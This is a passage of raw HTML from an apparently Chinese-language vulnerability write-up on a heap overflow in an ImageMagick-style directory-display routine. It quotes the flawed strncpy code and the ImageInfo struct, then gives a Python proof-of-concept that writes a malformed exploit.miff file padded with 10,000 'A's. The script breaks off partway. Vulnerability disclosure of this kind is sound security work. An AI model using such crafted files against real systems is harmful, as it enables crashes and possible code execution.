data-line=\"crayon-5a14a6591611e628022005-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591611e628022005-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591611e628022005-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591611e628022005-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a6591611e628022005-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a6591611e628022005-17\">17<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a14a6591611e628022005-1\"><span class=\"crayon-cn\">844<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/*<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591611e628022005-2\"><span class=\"crayon-c\">845&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Display visual image directory.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591611e628022005-3\"><span class=\"crayon-c\">846&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591611e628022005-4\"><span class=\"crayon-cn\">847<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">image_info<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">CloneImageInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">ImageInfo *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591611e628022005-5\"><span class=\"crayon-cn\">848<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">CloneString<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">image_info<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;64&#215;64&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591611e628022005-6\"><span class=\"crayon-cn\">849<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fprintf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8221;&nbsp;&nbsp;Directory:n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591611e628022005-7\"><span class=\"crayon-cn\">850<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">image<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">directory<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\u0000&#8217;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591611e628022005-8\"><span class=\"crayon-cn\">851<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591611e628022005-9\"><span class=\"crayon-cn\">852<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591611e628022005-10\"><span class=\"crayon-cn\">853<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;n&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\u0000&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591611e628022005-11\"><span class=\"crayon-cn\">854<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591611e628022005-12\"><span class=\"crayon-cn\">855<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">strncpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">image_info<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">filename<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591611e628022005-13\"><span class=\"crayon-cn\">856<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">image_info<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">filename<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8216;\u0000&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591611e628022005-14\"><span class=\"crayon-cn\">857<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">q<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591611e628022005-15\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a6591611e628022005-16\"><span class=\"crayon-cn\">880<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a6591611e628022005-17\"><span class=\"crayon-cn\">881<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">DestroyImageInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">image_info<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0034 seconds] -->  <\/p>\n<p>\u7531\u4e8eImageInfo\u7ed3\u6784\u4e2d\u7684filename\u5b57\u6bb5\u662f\u56fa\u5b9a\u76842053\u5b57\u8282\uff0c\u56e0\u6b64\u53ef\u4ee5\u901a\u8fc7\u4f2a\u9020\u8d85\u957f\u7684\u76ee\u5f55\u540d\uff0c\u9020\u6210\u5806\u6ea2\u51fa\u3002<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a14a65916123721977919\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> type = struct _ImageInfo {  &#8230;      FILE *file;      char magick[2053];      char filename[2053];      _CacheInfoPtr_ cache;      void *definitions;      Image *attributes;      unsigned int ping;      PreviewType preview_type;      unsigned int affirm;      _BlobInfoPtr_ blob;      size_t length;      char unique[2053];      char zero[2053];      unsigned long signature;  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916123721977919-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916123721977919-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916123721977919-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916123721977919-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916123721977919-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916123721977919-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916123721977919-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916123721977919-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916123721977919-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916123721977919-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916123721977919-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916123721977919-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916123721977919-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916123721977919-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916123721977919-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916123721977919-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916123721977919-17\">17<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a14a65916123721977919-1\"><span class=\"crayon-v\">type<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_ImageInfo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916123721977919-2\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916123721977919-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">FILE *<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916123721977919-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">magick<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2053<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916123721977919-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">filename<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2053<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916123721977919-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">_CacheInfoPtr_ <\/span><span class=\"crayon-v\">cache<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916123721977919-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">definitions<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916123721977919-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Image *<\/span><span class=\"crayon-v\">attributes<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916123721977919-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">unsigned<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ping<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916123721977919-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PreviewType <\/span><span class=\"crayon-v\">preview_type<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916123721977919-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">unsigned<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">affirm<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916123721977919-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">_BlobInfoPtr_ <\/span><span class=\"crayon-v\">blob<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916123721977919-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">size_t <\/span><span class=\"crayon-v\">length<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916123721977919-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">unique<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2053<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916123721977919-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">char<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">zero<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2053<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916123721977919-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">unsigned<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">long<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">signature<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916123721977919-17\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0022 seconds] -->  <\/p>\n<p>\u89e6\u53d1\u6b64\u6f0f\u6d1e\u7684\u4e00\u79cd\u65b9\u6cd5\u662f\u5728\u5e26\u6709verbose\u6807\u5fd7\u7684MIFF\u683c\u5f0f\u6587\u4ef6\u4e0a\u8fd0\u884cidentify\u547d\u4ee4\u3002<\/p>\n<p><strong>\u6f0f\u6d1e\u8bc1\u660e<\/strong><\/p>\n<p>\u4f7f\u7528\u4e0b\u9762\u7684\u811a\u672c\u5c31\u53ef\u4ee5\u751f\u6210MIFF\u6587\u4ef6exploit.miff\u3002<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a14a65916128101291797\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> #!\/usr\/bin\/python    from pwn import *    partitions = (&#8216;id=ImageMagick  version=1.0nclass=DirectClass  matte=Falsen&#8217; +                &#8216;columns=1  rows=1  depth=16nscene=1nmontage=1&#215;1+0+0nx0cn&#8217; +                &#8216;:x1a&#8217;,                &#8216;nx00xbexbexbexbexbexben&#8217;)  output = &#8220;exploit.miff&#8221;    def main():      payload = &#8220;A&#8221;*10000      payload = partitions[0] + payload + partitions[1]      file(output, &#8220;w&#8221;).write(payload)    if __name__ == &#8220;__main__&#8221;:      main()<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916128101291797-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916128101291797-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916128101291797-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916128101291797-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916128101291797-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916128101291797-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916128101291797-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916128101291797-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916128101291797-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916128101291797-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916128101291797-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916128101291797-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916128101291797-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916128101291797-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916128101291797-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a14a65916128101291797-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a14a65916128101291797-17\">17<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a14a65916128101291797-1\"><span class=\"crayon-p\">#!\/usr\/bin\/python<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916128101291797-2\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916128101291797-3\"><span class=\"crayon-e\">from <\/span><span class=\"crayon-e\">pwn <\/span><span class=\"crayon-e\">import *<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916128101291797-4\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916128101291797-5\"><span class=\"crayon-v\">partitions<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;id=ImageMagick&nbsp;&nbsp;version=1.0nclass=DirectClass&nbsp;&nbsp;matte=Falsen&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916128101291797-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;columns=1&nbsp;&nbsp;rows=1&nbsp;&nbsp;depth=16nscene=1nmontage=1&#215;1+0+0nx0cn&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916128101291797-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;:x1a&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916128101291797-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;nx00xbexbexbexbexbexben&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916128101291797-9\"><span class=\"crayon-v\">output<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;exploit.miff&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916128101291797-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916128101291797-11\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">main<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a14a65916128101291797-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;A&#8221;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">10000<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a14a65916128101291797-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span 